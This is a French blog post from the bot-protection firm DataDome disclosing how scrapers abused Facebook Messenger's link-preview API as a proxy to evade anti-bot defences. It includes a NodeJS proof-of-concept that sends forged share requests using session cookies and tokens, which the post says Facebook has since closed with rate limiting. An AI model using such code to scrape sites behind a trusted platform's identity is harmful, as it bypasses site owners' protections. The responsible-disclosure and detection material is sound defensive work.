DataDome

Comment Facebook a été utilisé comme proxy par des bots de web scraping

Table des matières

L’équipe de recherche de DataDome a récemment découvert que des opérateurs de bots se livraient à un usage abusif de la fonction d’aperçu des liens de Facebook à des fins de scraping web. Lorsqu’un lien est partagé sur Facebook ou dans une conversation sur Messenger, Facebook explore la page web partagée afin d’en extraire des informations pour générer un aperçu. En simulant le partage d’un lien, les bots de scraping web parvenaient à envoyer un nombre illimité de requêtes aux sites web qu’ils ciblaient en utilisant l’infrastructure de Facebook. Ce problème a désormais été résolu en limitant le débit de l’API.

Facebook Crawler, le robot d’indexation de Facebook

Lorsqu’une personne partage un lien sur Facebook ou dans une conversation sur Messenger, le robot d’indexation de Facebook (Facebook Crawler) explore le code HTML de la page partagée pour en extraire des données telles que le titre de la page, sa méta-description et sa vignette miniature, qui sont utilisés pour générer l’aperçu.

Étant donné que la plupart des administrateurs de sites web souhaitent que les internautes voient s’afficher un aperçu soigné chaque fois qu’un lien vers leur contenu est partagé, ils inscrivent généralement l’agent utilisateur et/ou les adresses IP du robot d’indexation de Facebook sur une liste autorisée.

Les chaînes de l’agent utilisateur du robot d’indexation de Facebook sont les suivantes :

  • facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)
  • facebookexternalhit/1.1

Les adresses IP changent souvent, mais la commande suivante génère une liste mise à jour des adresses IP utilisées par le robot d’indexation :

facebook-robot-ip-address

Comment les bots de scraping réussissent à utiliser de l’infrastructure de Facebook :

Un aperçu est le résultat d’un appel API : une requête POST standard envoyée à ttps://www.messenger.com/message_share_attachment/fromURI/ dans le cas de Messenger. Bien que ce soit le navigateur de l’utilisateur qui soit à l’origine de l’appel API aux serveurs de Facebook, les demandes d’obtention des données de la page HTML cible sont effectuées par un serveur Facebook.

Comme nous venons de l’expliquer, étant donné que Facebook et Messenger sont des sources de trafic importantes pour de nombreux sites web, ils sont généralement placés sur une liste autorisée. Toutes leurs demandes sont traitées.

Jusqu’à récemment, Facebook ne semblait pas avoir appliqué de mesures de protection fortes (telles que la limitation adaptative du débit) à l’API utilisée pour générer les aperçus de liens. Par conséquent, les bots de scraping pouvaient extraire de grandes quantités de données des sites web qui les intéressaient, en se faisant passer pour Facebook.

Pour pirater la fonction d’aperçu, il suffisait aux opérateurs des bots de fournir un jeton lié à un compte Facebook. Échappant aux systèmes de protection anti-bots des sites web ciblés parce qu’ils se dissimulaient derrière l’infrastructure de Facebook, classée sur liste autorisée, les bots de scraping pouvaient envoyer des milliers de requêtes par minute, possibilité qu’ils ont généreusement exploitée.

Validation de concept :

Dans la validation de concept suivante, nous utilisons notre propre domaine (datadome.co) pour illustrer comment la fonction d’aperçu des liens de Facebook peut être exploitée par des robots d’exploration du Web.

Nous allons commencer par publier un lien vers datadome.co dans Messenger, ce qui génère un appel à l’API d’aperçu de Messenger.

datadome-in-messenger

L’appel API renvoie une réponse sous la forme suivante :

{
“__ar”: 1,
“payload”: {
“description”: “The #1 SaaS bot protection software for e-commerce and classifieds ads websites. Bot detection service with unmatched speed and accuracy. Deploy in minutes.”,
“media”: {
“image”: “https://external.fcdg2-1.fna.fbcdn.net/safe_image.php?w=144&h=144&url=https%3A%2F%2Fdatadome.co%2Fwp-content%2Fuploads%2Ffeatured-image.jpg&cfs=1&_nc_cb=1&_nc_hash=AQDeaYZwULAow7if”,
“image_size”: {
“height”: 144,
“width”: 144
}
},
“source”: “datadome.co”,
“style_list”: [
“share”,
“fallback”
],
“target”: null,
“title”: “DataDome – Real-Time Bot Protection, Detection and Mitigation Solution”,
“uri”: “https://datadome.co/?attachment_canonical_url=https%3A%2F%2Fdatadome.co%2F&attachment_user_url=https%3A%2F%2Fdatadome.co%2F”,
“share_data”: {
“share_type”: 100,
“share_params”: {
“urlInfo”: {
“canonical”: “https://datadome.co/”,
“final”: “https://datadome.co/”,
“user”: “https://datadome.co/”,
“log”: {
“1496675180”: “https://datadome.co/”,
“1497042740”: “https://datadome.co/”,
“1498595300”: “https://datadome.co/”
}
},
“favicon”: “https://datadome.co/wp-content/uploads/2018/07/favicon_datadome.png”,
“iframe”: [],
“title”: “DataDome – Real-Time Bot Protection, Detection and Mitigation Solution”,
“summary”: “The #1 SaaS bot protection software for e-commerce and classifieds ads websites. Bot detection service with unmatched speed and accuracy. Deploy in minutes.”,
“images_sorted_by_dom”: [],
“ranked_images”: {
“images”: [
“https://datadome.co/wp-content/uploads/featured-image.jpg”
],
“ranking_model_version”: 11,
“specified_og”: true
},
“medium”: 104,
“url”: “https://datadome.co/”,
“global_share_id”: 496414423817034,
“video”: [],
“music”: [],
“asset_3d_infos”: [],
“extra”: {
“src”: “”,
“title”: “”,
“artist”: “”,
“album”: “”,
“type”: “”
},
“amp_url”: “”,
“url_scrape_id”: “769383043882885”,
“hmac”: “Abcp_zLZhl6YJGflTqQ”,
“locale”: null,
“external_img”: “{\”src\”:\”https:\\/\\/datadome.co\\/wp-content\\/uploads\\/featured-image.jpg\”,\”width\”:1200,\”height\”:627}”
}
}
},
“hsrp”: {
“hblp”: {
“sr_revision”: 1002782683,
“consistency”: {
“rev”: 1002782683
}
}
},
“lid”: “6880779922294620033”
}

Bien que la réponse n’inclue pas tout le contenu de la page web, dans le cas de nombreux sites web, elle contiendra les données suivantes :

  • Nom du produit
  • Description du produit
  • Prix
  • Note moyenne

qui sont toutes des informations potentiellement très précieuses pour les robots d’exploration.

Si nous examinons les journaux du site de DataDome, nous nous apercevons que l’adresse IP qui a effectué l’appel API ci-dessus est classifiée comme provenant de FACEBOOK AS. L’agent utilisateur est celui que le robot Facebook Crawler utilise pour générer l’aperçu des liens, et la recherche DNS inversée de l’adresse IP montre également qu’elle appartient à Facebook.

facebook-crawler

 

Simulons maintenant une attaque par scraping en utilisant NodeJS pour envoyer des requêtes aux nœuds finaux de l’API Facebook.

Le code ci-dessous montre comment Facebook pourrait être exploité. Le fichier credentials.json contient les secrets (c’est-à-dire le jeton d’authentification, qui est ici masqué pour des raisons évidentes).

Lorsque nous envoyons une requête, en prétendant partager un lien, Messenger renvoie un document JSON contenant des informations sur la page (elles sont ici stockées dans la variable resultParsed).

const https = require(‘https’);
const config = require(‘./credentials.json’);

async function requestUrlFacebook(url) {
return new Promise((resolve) => {
const data = `image_height=144&image_width=144&uri=${encodeURIComponent(url)}&__a=1&__csr=&__req=1z&__beoa=0&__pc=PHASED%3Amessengerdotcom_pkg&__comet_req=0&fb_dtsg=${config.fb_dtsg}`;
const options = {
hostname: ‘www.messenger.com’,
path: ‘/message_share_attachment/fromURI/’,
method: ‘POST’,
headers: {
“accept”: “*/*”,
“authority”: “www.messenger.com”,
“origin”: “https://www.messenger.com”,
“accept-language”: “en-GB,en;q=0.9”,
“cache-control”: “no-cache”,
“content-type”: “application/x-www-form-urlencoded”,
‘Content-Length’: data.length,
“pragma”: “no-cache”,
“sec-fetch-dest”: “empty”,
“sec-fetch-mode”: “cors”,
“sec-fetch-site”: “same-origin”,
“user-agent”: “Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36”,
“referrer”: `https://www.messenger.com/t/${config.accountName}`,
“cookie”: `c_user=${config.c_user}; xs=${config.xs}; wd=1201×946`
}
};

const req = https.request(options, (res) => {
let data = ”;
res.on(‘data’, (chunk) => {
data += chunk;
});

res.on(‘end’, () => {
const resultParsed = JSON.parse(data.replace(“for (;;);”, “”));
resolve(resultParsed)
});

}).on(“error”, (err) => {
console.log(“Error: “, err.message);
});

req.write(data);
req.end();
})
}

(async () => {
const content = await requestUrlFacebook(‘https://datadome.co’);
console.log(content);
// {
// __ar: 1,
// payload:
// {
// description:
// ‘The #1 SaaS bot protection software for e-commerce and classifieds ads websites. Bot detection service with unmatched speed and accuracy. Deploy in minutes.’,
// media:
// {
// image:
// ‘https://external.fcdg2-1.fna.fbcdn.net/safe_image.php?d=AQCWUlNeWLZPsTtv&w=144&h=144&url=https%3A%2F%2Fdatadome.co%2Fwp-content%2Fuploads%2Ffeatured-image.jpg&cfs=1&_nc_cb=1&_nc_hash=AQDYnd48bPKvFNkQ’,
// image_size: [Object]
// },
// source: ‘datadome.co’,
// style_list: [‘share’, ‘fallback’],
// target: null,
// title:
// ‘DataDome – Real-Time Bot Protection, Detection and Mitigation Solution’,
// uri:
// ‘https://datadome.co/?attachment_canonical_url=https%3A%2F%2Fdatadome.co%2F&attachment_user_url=https%3A%2F%2Fdatadome.co%2F’,
// share_data: { share_type: 100, share_params: [Object] }
// },
// hsrp: { hblp: { sr_revision: 1002782683, consistency: [Object] } },
// lid: ‘6880792885017226207’
// }
})()

L’auteur de la requête peut notamment tester la présence ou la disponibilité d’un produit, ce qui est une information vitale pour les opérateurs de bots sneakers et d’autres types de bots scalpers.

Pour savoir comment protéger les API contre les bots malveillants, lisez notre série en deux parties :

Détection, atténuation et correction

Notre équipe de recherche et développement a découvert pour la première fois l’usage abusif de l’infrastructure de Facebook sur le site web d’un client de longue date de DataDome. Le client est de très loin le site numéro un des petites annonces dans son pays d’origine. En conséquence, il est constamment ciblé par des bots de scraping qui tentent d’extraire des données de ses listes. Certains de ces opérateurs de scraping avaient découvert la faille dans l’API de Facebook qui leur permettait d’envoyer un nombre illimité de requêtes au site web.

Avec une pure détection technique, ces requêtes seraient impossibles à distinguer des appels légitimes de l’API : comme nous l’avons vu, elles comportaient l’agent utilisateur et l’adresse IP de Facebook. Cependant, notre analyse heuristique a révélé que certains paramètres, peu susceptibles d’être utilisés par des utilisateurs humains, étaient surreprésentés dans les adresses URL demandées par Facebook. Certains cas d’utilisation étaient également improbables : par exemple, un utilisateur humain partagera généralement un lien vers une publicité spécifique, et non vers une page de résultats de recherche.

Nous avons trouvé des preuves d’abus similaires sur d’autres sites de clients. Pour terminer, nos propres tests (effectués de manière responsable) ont confirmé que nous pouvions facilement envoyer plus de 10 000 requêtes par minute à un site web, et ce en utilisant un seul compte Facebook.

Nous avons réussi à atténuer le problème pour nos propres clients, mais nous avons conclu qu’il y avait un risque important d’abus, et nous en avons informé Facebook.

Facebook a maintenant amélioré la limitation du débit de l’API d’aperçu de Messenger. Comme le confirment nos tests (ainsi que certaines discussions sur les forums de pirates), cette mesure empêche efficacement la poursuite de l’usage abusif de la fonction d’aperçu à des fins de scraping.